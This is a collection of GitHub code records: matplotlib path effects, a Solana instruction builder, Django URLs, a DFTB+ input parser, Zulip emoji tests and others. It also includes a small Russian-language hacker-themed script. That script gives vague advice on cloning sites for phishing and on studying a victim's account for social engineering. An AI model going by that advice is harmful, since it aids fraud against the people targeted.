(1., 1., 1.))[:3]\n # Scale the colors by a factor to improve the shadow effect.\n shadow_rgbFace = (r * self._rho, g * self._rho, b * self._rho)\n else:\n shadow_rgbFace = self._shadow_color\n\n gc0.set_foreground(shadow_rgbFace)\n gc0.set_alpha(self._alpha)\n\n gc0 = self._update_gc(gc0, self._gc)\n renderer.draw_path(\n gc0, tpath, affine + self._offset_transform(renderer))\n gc0.restore()\n\n\nclass PathPatchEffect(AbstractPathEffect):\n \"\"\"\n Draws a `.PathPatch` instance whose Path comes from the original\n PathEffect artist.\n \"\"\"\n\n def __init__(self, offset=(0, 0), **kwargs):\n \"\"\"\n Parameters\n ----------\n offset : (float, float), default: (0, 0)\n The (x, y) offset to apply to the path, in points.\n **kwargs\n All keyword arguments are passed through to the\n :class:`~matplotlib.patches.PathPatch` constructor. The\n properties which cannot be overridden are \"path\", \"clip_box\"\n \"transform\" and \"clip_path\".\n \"\"\"\n super().__init__(offset=offset)\n self.patch = mpatches.PathPatch([], **kwargs)\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n self.patch._path = tpath\n self.patch.set_transform(affine + self._offset_transform(renderer))\n self.patch.set_clip_box(gc.get_clip_rectangle())\n clip_path = gc.get_clip_path()\n if clip_path and self.patch.get_clip_path() is None:\n self.patch.set_clip_path(*clip_path)\n self.patch.draw(renderer)\n\n\nclass TickedStroke(AbstractPathEffect):\n \"\"\"\n A line-based PathEffect which draws a path with a ticked style.\n\n This line style is frequently used to represent constraints in\n optimization. The ticks may be used to indicate that one side\n of the line is invalid or to represent a closed boundary of a\n domain (i.e. a wall or the edge of a pipe).\n\n The spacing, length, and angle of ticks can be controlled.\n\n This line style is sometimes referred to as a hatched line.\n\n See also the :doc:`/gallery/misc/tickedstroke_demo` example.\n \"\"\"\n\n def __init__(self, offset=(0, 0),\n spacing=10.0, angle=45.0, length=np.sqrt(2),\n **kwargs):\n \"\"\"\n Parameters\n ----------\n offset : (float, float), default: (0, 0)\n The (x, y) offset to apply to the path, in points.\n spacing : float, default: 10.0\n The spacing between ticks in points.\n angle : float, default: 45.0\n The angle between the path and the tick in degrees. The angle\n is measured as if you were an ant walking along the curve, with\n zero degrees pointing directly ahead, 90 to your left, -90\n to your right, and 180 behind you. To change side of the ticks,\n change sign of the angle.\n length : float, default: 1.414\n The length of the tick relative to spacing.\n Recommended length = 1.414 (sqrt(2)) when angle=45, length=1.0\n when angle=90 and length=2.0 when angle=60.\n **kwargs\n Extra keywords are stored and passed through to\n :meth:`AbstractPathEffect._update_gc`.\n\n Examples\n --------\n See :doc:`/gallery/misc/tickedstroke_demo`.\n \"\"\"\n super().__init__(offset)\n\n self._spacing = spacing\n self._angle = angle\n self._length = length\n self._gc = kwargs\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n \"\"\"Draw the path with updated gc.\"\"\"\n # Do not modify the input! Use copy instead.\n gc0 = renderer.new_gc()\n gc0.copy_properties(gc)\n\n gc0 = self._update_gc(gc0, self._gc)\n trans = affine + self._offset_transform(renderer)\n\n theta = -np.radians(self._angle)\n trans_matrix = np.array([[np.cos(theta), -np.sin(theta)],\n [np.sin(theta), np.cos(theta)]])\n\n # Convert spacing parameter to pixels.\n spacing_px = renderer.points_to_pixels(self._spacing)\n\n # Transform before evaluation because to_polygons works at resolution\n # of one -- assuming it is working in pixel space.\n transpath = affine.transform_path(tpath)\n\n # Evaluate path to straight line segments that can be used to\n # construct line ticks.\n polys = transpath.to_polygons(closed_only=False)\n\n for p in polys:\n x = p[:, 0]\n y = p[:, 1]\n\n # Can not interpolate points or draw line if only one point in\n # polyline.\n if x.size < 2:\n continue\n\n # Find distance between points on the line\n ds = np.hypot(x[1:] - x[:-1], y[1:] - y[:-1])\n\n # Build parametric coordinate along curve\n s = np.concatenate(([0.0], np.cumsum(ds)))\n s_total = s[-1]\n\n num = int(np.ceil(s_total / spacing_px)) - 1\n # Pick parameter values for ticks.\n s_tick = np.linspace(spacing_px/2, s_total - spacing_px/2, num)\n\n # Find points along the parameterized curve\n x_tick = np.interp(s_tick, s, x)\n y_tick = np.interp(s_tick, s, y)\n\n # Find unit vectors in local direction of curve\n delta_s = self._spacing * .001\n u = (np.interp(s_tick + delta_s, s, x) - x_tick) / delta_s\n v = (np.interp(s_tick + delta_s, s, y) - y_tick) / delta_s\n\n # Normalize slope into unit slope vector.\n n = np.hypot(u, v)\n mask = n == 0\n n[mask] = 1.0\n\n uv = np.array([u / n, v / n]).T\n uv[mask] = np.array([0, 0]).T\n\n # Rotate and scale unit vector into tick vector\n dxy = np.dot(uv, trans_matrix) * self._length * spacing_px\n\n # Build tick endpoints\n x_end = x_tick + dxy[:, 0]\n y_end = y_tick + dxy[:, 1]\n\n # Interleave ticks to form Path vertices\n xyt = np.empty((2 * num, 2), dtype=x_tick.dtype)\n xyt[0::2, 0] = x_tick\n xyt[1::2, 0] = x_end\n xyt[0::2, 1] = y_tick\n xyt[1::2, 1] = y_end\n\n # Build up vector of Path codes\n codes = np.tile([Path.MOVETO, Path.LINETO], num)\n\n # Construct and draw resulting path\n h = Path(xyt, codes)\n # Transform back to data space during render\n renderer.draw_path(gc0, h, affine.inverted() + trans, rgbFace)\n\n gc0.restore()\n\n\nwithTickedStroke = _subclass_with_normal(effect_class=TickedStroke)\n","repo_name":"matplotlib/matplotlib","sub_path":"lib/matplotlib/patheffects.py","file_name":"patheffects.py","file_ext":"py","file_size_in_byte":18602,"program_lang":"python","lang":"en","doc_type":"code","stars":18437,"dataset":"github-code","pt":"5"} +{"seq_id":"69982371352","text":"from __future__ import annotations\nimport typing\nfrom solders.pubkey import Pubkey\nfrom solders.system_program import ID as SYS_PROGRAM_ID\nfrom solders.sysvar import RENT, CLOCK\nfrom solders.instruction import Instruction, AccountMeta\nfrom ..program_id import PROGRAM_ID\n\n\nclass InitializeAccounts(typing.TypedDict):\n state: Pubkey\n payer: Pubkey\n\n\ndef initialize(\n accounts: InitializeAccounts,\n program_id: Pubkey = PROGRAM_ID,\n remaining_accounts: typing.Optional[typing.List[AccountMeta]] = None,\n) -> Instruction:\n keys: list[AccountMeta] = [\n AccountMeta(pubkey=accounts[\"state\"], is_signer=True, is_writable=True),\n AccountMeta(pubkey=CLOCK, is_signer=False, is_writable=False),\n AccountMeta(pubkey=RENT, is_signer=False, is_writable=False),\n AccountMeta(pubkey=accounts[\"payer\"], is_signer=True, is_writable=True),\n AccountMeta(pubkey=SYS_PROGRAM_ID, is_signer=False, is_writable=False),\n ]\n if remaining_accounts is not None:\n keys += remaining_accounts\n identifier = b\"\\xaf\\xafm\\x1f\\r\\x98\\x9b\\xed\"\n encoded_args = b\"\"\n data = identifier + encoded_args\n return Instruction(program_id, data, keys)\n","repo_name":"kevinheavey/anchorpy","sub_path":"tests/client_gen/example_program_gen/instructions/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"5"} +{"seq_id":"22506553424","text":"\n \n \n \nmenu = input(\"[1] qshack-разговор с хакером\\n[2]-Скачать нашу программу\\n />\")\n\n\n\nif menu == \"1\":\n\t\n\t\n\t\n\tprint(\"Дарова пират! могу научить некотрым штучкам хочешь?\")\n\t\n\t\t\nif menu == \"2\":\n\t\t\twhile 1 == 1:\n\t\t\t \t\tprint(\"xlay урок 1 не доверяй людям!!!\")\n \t\t\n\t\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\npiratz = input(\"Ну отвечай да или нет?\\n />\")\n\nif piratz == \"да\":\n\t\n\t\n\t\n\tprint(\"хороший выбор пират. С чего начнём?\")\n\t\n\t\n\t\n\thack = input(\"[phish]-копирование сайтов\\n [sq] -социальная инжинерия\\n />\")\n\t\n\t\n\t\n\tif hack == \"phish\":\n\t\t\n\t\t\n\t\t\n\t\tprint(\"копируй вот эту ссылку - - запускай прогу и пиши set url ссылка , потом set_action ссылка и потом run и всё \")\n\t\n\t\n\tif hack == \"sq\":\n\t\t\n\t\t\n\t\t\n\t\tprint(\"прочекай аккаунт жертвы и сделай выводы и с этими выводами работай\")\n\t\t\n\t\t\t\t\n\t","repo_name":"Xokinad/xlay","sub_path":"xlay.py","file_name":"xlay.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23023017190","text":"#!/usr/bin/env python3\n\nimport os\n\nxnum1 = int(input(\"Initiate the first range with: \"))\nznum1 = int(input(\"Complete the first range with: \"))\nfirst_range = list(range(xnum1, znum1+1))\n\nxnum2 = int(input(\"Initiate the second range with: \"))\nznum2 = int(input(\"Complete the second range with: \"))\nsecond_range = list(range(xnum2, znum2+1))\n\nprint (\"The first range is:\", first_range)\n\nprint (\"The second range is:\", second_range)\n","repo_name":"NaphNinja/Web_Apps","sub_path":"Test_python/Iterative Tests/Input_range_test.py","file_name":"Input_range_test.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"9911890038","text":"from django.urls import path\nfrom . import views\n\napp_name = 'leads'\nurlpatterns = [\n path('', views.CompanyList.as_view(), name='companies'),\n path('new/', views.CompanyCreate.as_view(), name='companies-create'),\n path('<int:pk>/update/', views.CompanyUpdate.as_view(), name='companies-update'),\n path('<int:pk>/', views.CompanyDetail.as_view(), name='detail'),\n path('people/<int:pk>/', views.PersonDetail.as_view(), name='person-detail'),\n path('people/new/', views.PersonCreate.as_view(), name='person-create'),\n path('people/<int:pk>/update/', views.PersonUpdate.as_view(), name='person-update'),\n path('phone/new/', views.PhoneCreate.as_view(), name='phone-create'),\n path('email/new/', views.EmailCreate.as_view(), name='email-create'),\n]\n","repo_name":"cubin4ik/leadbook","sub_path":"leads/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16134492089","text":"\n'''\nRead HSD input file of DFTB+\n Data stored in nested dictionary Read_HSD.nestkeys\n'''\n\nimport sys\nimport builtins\nimport re\nfrom crewp.io.array import read_2darry\nfrom crewp.dftbplus import type_key, key_type, special_blocks\n\ndef get_key_val(line, key_type):\n '''\n Auto split line like:\n 'key [unit] = val'\n return if unit in line\n '''\n l_str, r_str = [ s.strip() for s in line.split('=') ]\n valstr = r_str.split()[0]\n if '[' in l_str: # expect key have units\n unit = line[ line.index('[')+1 : line.index(']') ].strip()\n key = line[ : line.index('[') ].strip()\n val = autoconv( valstr, key, key_type )\n return key, unit, val\n else:\n key = l_str\n val = autoconv( valstr, key, key_type )\n return key, val\n\ndef autoconv(valstr, key, key_type):\n '''\n Type conversion depend on ``key_type`` dictionary\n '''\n if 'yes' in valstr.lower(): # expect key to be boolean\n val = True\n elif 'no' in valstr.lower():\n val = False\n else: # expect type conversion\n typeconvfunc = key_type[key]\n val = getattr(builtins, typeconvfunc)(valstr)\n if typeconvfunc == 'str': # replace extra ' and \" to a whitespace\n val = re.sub('\"|\\'', ' ', val).strip()\n return val\n\ndef dict_from_path(keypath, dictroot): \n '''\n Auxiliary function locate to a depth of nested dictionary\n with path indicated by keypath list.\n '''\n d = dictroot\n for key in keypath:\n d = d[key]\n return d\n\nclass Read_HSD: \n\n def __init__(self, fname = 'dftb_in.hsd'):\n self.hsdf = open(fname, 'r')\n self.logf = open('read_hsd.log', 'w')\n self.keypath = []\n self.nestkeys = {}\n self.curr_dict = self.nestkeys\n\n def nest_keys(self): # recursive build nested-key\n line = self.hsdf.readline()\n if not line: # Meet EOF\n self.logf.write('# MEET EOF\\n')\n else:\n if '{' in line: # dict depth forward\n self.logf.write(line[:-1]+ ' # DEPTH FORWARD\\n')\n try: # key has attribute\n key = line[0:line.index('=')].strip()\n key_attr = line[ line.index('=')+1 : line.index('{') ].strip()\n except ValueError: # key without attribute\n key = line[0:line.index('{')].strip()\n key_attr = ''\n self.curr_dict = dict_from_path(self.keypath, self.nestkeys) \n self.curr_dict[key] = {} # initialize new key:dictionary\n self.keypath.append(key)\n self.curr_dict = self.curr_dict[key] # forward 1 depth\n if key_attr: \n self.curr_dict['key_attr'] = key_attr\n if key in special_blocks: # call function read special blocks\n getattr(self, 'read_'+key.lower())()\n self.curr_dict = dict_from_path(self.keypath, self.nestkeys) \n elif '}' in line: # dict depth backward, break current recursion\n self.logf.write(line[:-1]+ ' # DEPTH BACKWARD\\n')\n del self.keypath[-1] # backward 1 depth\n self.curr_dict = dict_from_path(self.keypath, self.nestkeys) \n elif ('=' in line) and ('{' not in line): # Normal key[unit]-value\n self.logf.write(line[:-1]+' # Normal KEY-VALUE\\n')\n sep = get_key_val(line, key_type)\n if len(sep)==3: # expect key have units\n key, unit, val = sep\n self.curr_dict[key] = (unit, val)\n elif len(sep)==2:\n key, val = sep\n self.curr_dict[key] = val\n elif line.strip()=='': # Blank line, don't put this before EOF\n self.logf.write(' # BLANK LINE\\n')\n pass\n else: # meet unmatched pattern, please add new 'elif'.\n sys.exit('Class Read_HSD: '+line[:-1]+' # NOT ASSIGNED CONDITION!!\\n')\n self.nest_keys()\n\n def read_geometry(self):\n if 'key_attr' in self.curr_dict and \\\n self.curr_dict['key_attr']=='GenFormat':\n while True:\n line = self.hsdf.readline()\n if '<<<' in line:\n genfname = line.strip().strip('<').strip().strip('\"')\n self.curr_dict['genfname'] = genfname\n elif '}' in line: # dict depth backward\n self.logf.write(line[:-1]+ ' # DEPTH BACKWARD\\n')\n del self.keypath[-1] # backward 1 depth\n break\n\n def read_maxangularmomentum(self):\n while True:\n line = self.hsdf.readline()\n if '=' in line:\n key, val = [ s.strip() for s in line.split('=') ]\n val = re.sub('\"|\\'', ' ', val).strip()\n self.curr_dict[key] = val\n elif '}' in line: # dict depth backward\n self.logf.write(line[:-1]+ ' # DEPTH BACKWARD\\n')\n del self.keypath[-1] # backward 1 depth\n break\n\n def read_kpointsandweights(self):\n if self.curr_dict['key_attr'] == 'SupercellFolding':\n self.curr_dict['kmesh'] = read_2darry( self.hsdf, 3, 'int')\n self.curr_dict['kshift'], = read_2darry( self.hsdf, 1, 'float')\n while True:\n line = self.hsdf.readline()\n if '}' in line: # dict depth backward\n self.logf.write(line[:-1]+ ' # DEPTH BACKWARD\\n')\n del self.keypath[-1] # backward 1 depth\n break\n\n def read_projectstates(self):\n '''\n ProjectStates: { \n 'region_i' : {\n 'Atoms' : '***',\n 'ShellResolved' : True,\n 'Label' : '***',\n ...\n },\n ...\n }\n '''\n i_region = 0\n while True: # find 'Region' block\n '''\n Build ``region_dict`` with key 'region_i'\n Stack other line strings, fill in the ``region_dict`` \n '''\n line = self.hsdf.readline()\n if 'Region' in line:\n i_region += 1\n region_dict = self.curr_dict['region_'+str(i_region)] = {}\n while True: \n line = self.hsdf.readline()\n if '}' in line: # label escape a 'Region' block\n break\n elif '=' in line: \n key, val = get_key_val(line, key_type)\n region_dict[key] = val\n elif '}' in line: # dict depth backward\n self.logf.write(line[:-1]+ ' # DEPTH BACKWARD\\n')\n del self.keypath[-1] # backward 1 depth\n break\n\n def get_nestkeys(self):\n self.nest_keys()\n self.logf.close()\n return self.nestkeys\n\n","repo_name":"faustival/crewp","sub_path":"dftbplus/hsd_reader.py","file_name":"hsd_reader.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"8200189231","text":"from tkinter import filedialog, messagebox\nfrom tkinter import *\nimport json\ndeletedatadict = Tk()\ndeletedatadict.title(\"ESSAY AUTOMATA\")\ndeletedatadict.geometry(\"500x400+10+20\")\n\n\ndef deletefromdict():\n with open('/AEG/aegdataset/datajson.json', 'r') as f:\n dictdata = json.load(f)\n if datalist.curselection():\n if messagebox.askquestion(\"Confirm\",\"Are you sure want to delete?\")=='yes':\n ind=datalist.curselection()\n for i in ind[::-1]:\n d=datalist.get(i)\n print(d)\n del dictdata[d]\n datalist.delete(i)\n with open('/AEG/aegdataset/datajson.json', 'w') as f:\n dictdata = json.dump(dictdata, f)\n\n else:\n datalist.selection_clear(0,END)\n pass\n else:\n messagebox.showinfo(\"Warning\",\"Choose any item from list\")\n #datalist.remove(entr.get())\n\nlabind=Label(deletedatadict, text=\"INDEX NAME \")\nlabind.pack(anchor=N+W,pady=5,padx=25)\ndatalist=Listbox(deletedatadict, selectmode=\"multiple\")\nwith open('/AEG/aegdataset/datajson.json', 'r') as f:\n dictdata = json.load(f)\nfor i in dictdata.keys():\n datalist.insert(END,i)\ndatalist.pack(anchor=N+W,padx=5,pady=10)\ndeldatabtn=Button(deletedatadict, text=\"DELETE FROM DICTIONARY\", command=deletefromdict)\ndeldatabtn.pack(anchor=N+W,padx=5,pady=10)\ndeletedatadict,mainloop()","repo_name":"Sarath-VC/AEG","sub_path":"testprgms/dltdict.py","file_name":"dltdict.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36664709276","text":"import urllib\nfrom vsmclient import base\n\n\nclass Rgw(base.Resource):\n \"\"\"\"\"\"\n\n def __repr__(self):\n return \"<Rgw: %s>\" % self.id\n\nclass RgwManager(base.ManagerWithFind):\n \"\"\"\n Manage :class:`RGW` resources.\n \"\"\"\n resource_class = Rgw\n\n def create(self, host, rgw_instance_name=\"radosgw.gateway\", is_ssl=False, uid=\"johndoe\",\n display_name=\"John Doe\", email=\"john@example.comjohn@example.com\",\n sub_user=\"johndoe:swift\", access=\"full\", key_type=\"swift\"):\n \"\"\"\n Create a rgw.\n :param host:\n :param rgw_instance_name:\n :param is_ssl:\n :param uid:\n :param display_name:\n :param email:\n :param sub_user:\n :param access:\n :param key_type:\n :return:\n \"\"\"\n\n body = {\n \"rgw\": {\n \"rgw_info\": {\n \"server_name\": host,\n \"rgw_instance_name\": rgw_instance_name,\n \"is_ssl\": is_ssl\n },\n \"user_info\": {\n \"uid\": uid,\n \"display_name\": display_name,\n \"email\": email,\n \"sub_user\": sub_user,\n \"access\": access,\n \"key_type\": key_type\n }\n }\n }\n\n return self._create('/rgws', body, 'rgw')","repo_name":"intel/virtual-storage-manager","sub_path":"source/python-vsmclient/vsmclient/v1/rgws.py","file_name":"rgws.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"5"} +{"seq_id":"71379013592","text":"from custom_components.hacs.share import get_hacs\n\n\ndef _setup_extra_stores():\n \"\"\"Set up extra stores in HACS if enabled in Home Assistant.\"\"\"\n hacs = get_hacs()\n if \"python_script\" in hacs.hass.config.components:\n if \"python_script\" not in hacs.common.categories:\n hacs.common.categories.append(\"python_script\")\n\n if (\n hacs.hass.services._services.get(\"frontend\", {}).get(\"reload_themes\")\n is not None\n ):\n if \"theme\" not in hacs.common.categories:\n hacs.common.categories.append(\"theme\")\n\n\nasync def async_setup_extra_stores():\n \"\"\"Async wrapper for setup_extra_stores\"\"\"\n hacs = get_hacs()\n await hacs.hass.async_add_executor_job(_setup_extra_stores)\n","repo_name":"ghuntley/ghuntley-monorepo-retired","sub_path":"infra/homeassistant/custom_components/hacs/operational/setup_actions/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"5"} +{"seq_id":"24760372431","text":"# -*- coding: utf-8 -*-\n\nimport mock\n\nfrom zerver.lib.actions import do_create_realm, do_create_user, \\\n do_remove_realm_emoji, get_realm, check_add_realm_emoji\nfrom zerver.lib.test_classes import ZulipTestCase\nfrom zerver.lib.test_helpers import get_test_image_file, get_user\nfrom zerver.models import Realm, RealmEmoji, UserProfile\n\nclass RealmEmojiTest(ZulipTestCase):\n\n def create_test_emoji(self, name: str, author: UserProfile) -> RealmEmoji:\n with get_test_image_file('img.png') as img_file:\n realm_emoji = check_add_realm_emoji(realm=author.realm,\n name=name,\n author=author,\n image_file=img_file)\n if realm_emoji is None:\n raise Exception(\"Error creating test emoji.\") # nocoverage\n return realm_emoji\n\n def create_test_emoji_with_no_author(self, name: str, realm: Realm) -> RealmEmoji:\n realm_emoji = RealmEmoji.objects.create(realm=realm, name=name)\n return realm_emoji\n\n def test_list(self) -> None:\n emoji_author = self.example_user('iago')\n self.login(emoji_author.email)\n self.create_test_emoji('my_emoji', emoji_author)\n\n result = self.client_get(\"/json/realm/emoji\")\n self.assert_json_success(result)\n self.assertEqual(200, result.status_code)\n self.assertEqual(len(result.json()[\"emoji\"]), 2)\n\n def test_list_no_author(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n realm = get_realm('zulip')\n realm_emoji = self.create_test_emoji_with_no_author('my_emoji', realm)\n\n result = self.client_get(\"/json/realm/emoji\")\n self.assert_json_success(result)\n content = result.json()\n self.assertEqual(len(content[\"emoji\"]), 2)\n test_emoji = content[\"emoji\"][str(realm_emoji.id)]\n self.assertIsNone(test_emoji['author'])\n\n def test_list_admins_only(self) -> None:\n # Test that realm emoji list is public and realm emojis\n # having no author are also there in the list.\n email = self.example_email('othello')\n self.login(email)\n realm = get_realm('zulip')\n realm.add_emoji_by_admins_only = True\n realm.save()\n realm_emoji = self.create_test_emoji_with_no_author('my_emoji', realm)\n\n result = self.client_get(\"/json/realm/emoji\")\n self.assert_json_success(result)\n content = result.json()\n self.assertEqual(len(content[\"emoji\"]), 2)\n test_emoji = content[\"emoji\"][str(realm_emoji.id)]\n self.assertIsNone(test_emoji['author'])\n\n def test_upload(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_success(result)\n self.assertEqual(200, result.status_code)\n realm_emoji = RealmEmoji.objects.get(name=\"my_emoji\")\n self.assertEqual(realm_emoji.author.email, email)\n\n result = self.client_get(\"/json/realm/emoji\")\n content = result.json()\n self.assert_json_success(result)\n self.assertEqual(len(content[\"emoji\"]), 2)\n test_emoji = content[\"emoji\"][str(realm_emoji.id)]\n self.assertIn('author', test_emoji)\n self.assertEqual(test_emoji['author']['email'], email)\n\n def test_realm_emoji_repr(self) -> None:\n realm_emoji = RealmEmoji.objects.get(name='green_tick')\n file_name = str(realm_emoji.id) + '.png'\n self.assertEqual(\n str(realm_emoji),\n '<RealmEmoji(zulip): %s green_tick False %s>' % (realm_emoji.id, file_name)\n )\n\n def test_upload_exception(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_em*oji', info=emoji_data)\n self.assert_json_error(result, 'Invalid characters in emoji name')\n\n def test_upload_uppercase_exception(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_EMoji', info=emoji_data)\n self.assert_json_error(result, 'Invalid characters in emoji name')\n\n def test_upload_admins_only(self) -> None:\n email = self.example_email('othello')\n self.login(email)\n realm = get_realm('zulip')\n realm.add_emoji_by_admins_only = True\n realm.save()\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_error(result, 'Must be an organization administrator')\n\n def test_upload_anyone(self) -> None:\n email = self.example_email('othello')\n self.login(email)\n realm = get_realm('zulip')\n realm.add_emoji_by_admins_only = False\n realm.save()\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_success(result)\n\n def test_emoji_upload_by_guest_user(self) -> None:\n email = self.example_email('polonius')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_error(result, 'Not allowed for guest users')\n\n def test_delete(self) -> None:\n emoji_author = self.example_user('iago')\n self.login(emoji_author.email)\n realm_emoji = self.create_test_emoji('my_emoji', emoji_author)\n result = self.client_delete('/json/realm/emoji/my_emoji')\n self.assert_json_success(result)\n\n result = self.client_get(\"/json/realm/emoji\")\n emojis = result.json()[\"emoji\"]\n self.assert_json_success(result)\n # We only mark an emoji as deactivated instead of\n # removing it from the database.\n self.assertEqual(len(emojis), 2)\n test_emoji = emojis[str(realm_emoji.id)]\n self.assertEqual(test_emoji[\"deactivated\"], True)\n\n def test_delete_no_author(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n realm = get_realm('zulip')\n self.create_test_emoji_with_no_author('my_emoji', realm)\n result = self.client_delete('/json/realm/emoji/my_emoji')\n self.assert_json_success(result)\n\n def test_delete_admins_only(self) -> None:\n emoji_author = self.example_user('othello')\n self.login(emoji_author.email)\n realm = get_realm('zulip')\n realm.add_emoji_by_admins_only = True\n realm.save()\n self.create_test_emoji_with_no_author(\"my_emoji\", realm)\n result = self.client_delete(\"/json/realm/emoji/my_emoji\")\n self.assert_json_error(result, 'Must be an organization administrator')\n\n def test_delete_admin_or_author(self) -> None:\n # If any user in a realm can upload the emoji then the user who\n # uploaded it as well as the admin should be able to delete it.\n emoji_author = self.example_user('othello')\n realm = get_realm('zulip')\n realm.add_emoji_by_admins_only = False\n realm.save()\n\n self.create_test_emoji('my_emoji_1', emoji_author)\n self.login(emoji_author.email)\n result = self.client_delete(\"/json/realm/emoji/my_emoji_1\")\n self.assert_json_success(result)\n self.logout()\n\n self.create_test_emoji('my_emoji_2', emoji_author)\n self.login(self.example_email('iago'))\n result = self.client_delete(\"/json/realm/emoji/my_emoji_2\")\n self.assert_json_success(result)\n self.logout()\n\n self.create_test_emoji('my_emoji_3', emoji_author)\n self.login(self.example_email('cordelia'))\n result = self.client_delete(\"/json/realm/emoji/my_emoji_3\")\n self.assert_json_error(result, 'Must be an organization administrator or emoji author')\n\n def test_delete_exception(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n result = self.client_delete(\"/json/realm/emoji/invalid_emoji\")\n self.assert_json_error(result, \"Emoji 'invalid_emoji' does not exist\")\n\n def test_multiple_upload(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1, get_test_image_file('img.png') as fp2:\n result = self.client_post('/json/realm/emoji/my_emoji', {'f1': fp1, 'f2': fp2})\n self.assert_json_error(result, 'You must upload exactly one file.')\n\n def test_emoji_upload_file_size_error(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp:\n with self.settings(MAX_EMOJI_FILE_SIZE=0):\n result = self.client_post('/json/realm/emoji/my_emoji', {'file': fp})\n self.assert_json_error(result, 'Uploaded file is larger than the allowed limit of 0 MB')\n\n def test_upload_already_existed_emoji(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/green_tick', info=emoji_data)\n self.assert_json_error(result, 'A custom emoji with this name already exists.')\n\n def test_reupload(self) -> None:\n # An user should be able to reupload an emoji with same name.\n email = self.example_email('iago')\n self.login(email)\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_success(result)\n\n result = self.client_delete(\"/json/realm/emoji/my_emoji\")\n self.assert_json_success(result)\n\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_success(result)\n\n result = self.client_get(\"/json/realm/emoji\")\n emojis = result.json()[\"emoji\"]\n self.assert_json_success(result)\n self.assertEqual(len(emojis), 3)\n\n def test_failed_file_upload(self) -> None:\n email = self.example_email('iago')\n self.login(email)\n with mock.patch('zerver.lib.upload.write_local_file', side_effect=Exception()):\n with get_test_image_file('img.png') as fp1:\n emoji_data = {'f1': fp1}\n result = self.client_post('/json/realm/emoji/my_emoji', info=emoji_data)\n self.assert_json_error(result, \"Image file upload failed.\")\n\n def test_check_admin_realm_emoji(self) -> None:\n # Test that an user A is able to remove a realm emoji uploaded by him\n # and having same name as a deactivated realm emoji uploaded by some\n # other user B.\n emoji_author_1 = self.example_user('cordelia')\n self.create_test_emoji('test_emoji', emoji_author_1)\n self.login(emoji_author_1.email)\n result = self.client_delete('/json/realm/emoji/test_emoji')\n self.assert_json_success(result)\n\n emoji_author_2 = self.example_user('othello')\n self.create_test_emoji('test_emoji', emoji_author_2)\n self.login(emoji_author_2.email)\n result = self.client_delete('/json/realm/emoji/test_emoji')\n self.assert_json_success(result)\n\n def test_check_admin_different_realm_emoji(self) -> None:\n # Test that two different realm emojis in two different realms but\n # having same name can be administered independently.\n realm_1 = do_create_realm('test_realm', 'test_realm')\n emoji_author_1 = do_create_user('abc@example.com',\n password='abc',\n realm=realm_1,\n full_name='abc',\n short_name='abc')\n self.create_test_emoji('test_emoji', emoji_author_1)\n\n emoji_author_2 = self.example_user('othello')\n self.create_test_emoji('test_emoji', emoji_author_2)\n self.login(emoji_author_2.email)\n result = self.client_delete('/json/realm/emoji/test_emoji')\n self.assert_json_success(result)\n","repo_name":"18-2-SKKU-OSS/2018-2-OSS-L5","sub_path":"zerver/tests/test_realm_emoji.py","file_name":"test_realm_emoji.py","file_ext":"py","file_size_in_byte":12854,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"9906881065","text":"#Vitor Giovani Dellinocente 9277875\n#SCC0251 - Processamento de Imagens 2018/2\n#T3 - Filtragem 2D\nimport numpy as np\nimport imageio\nimport 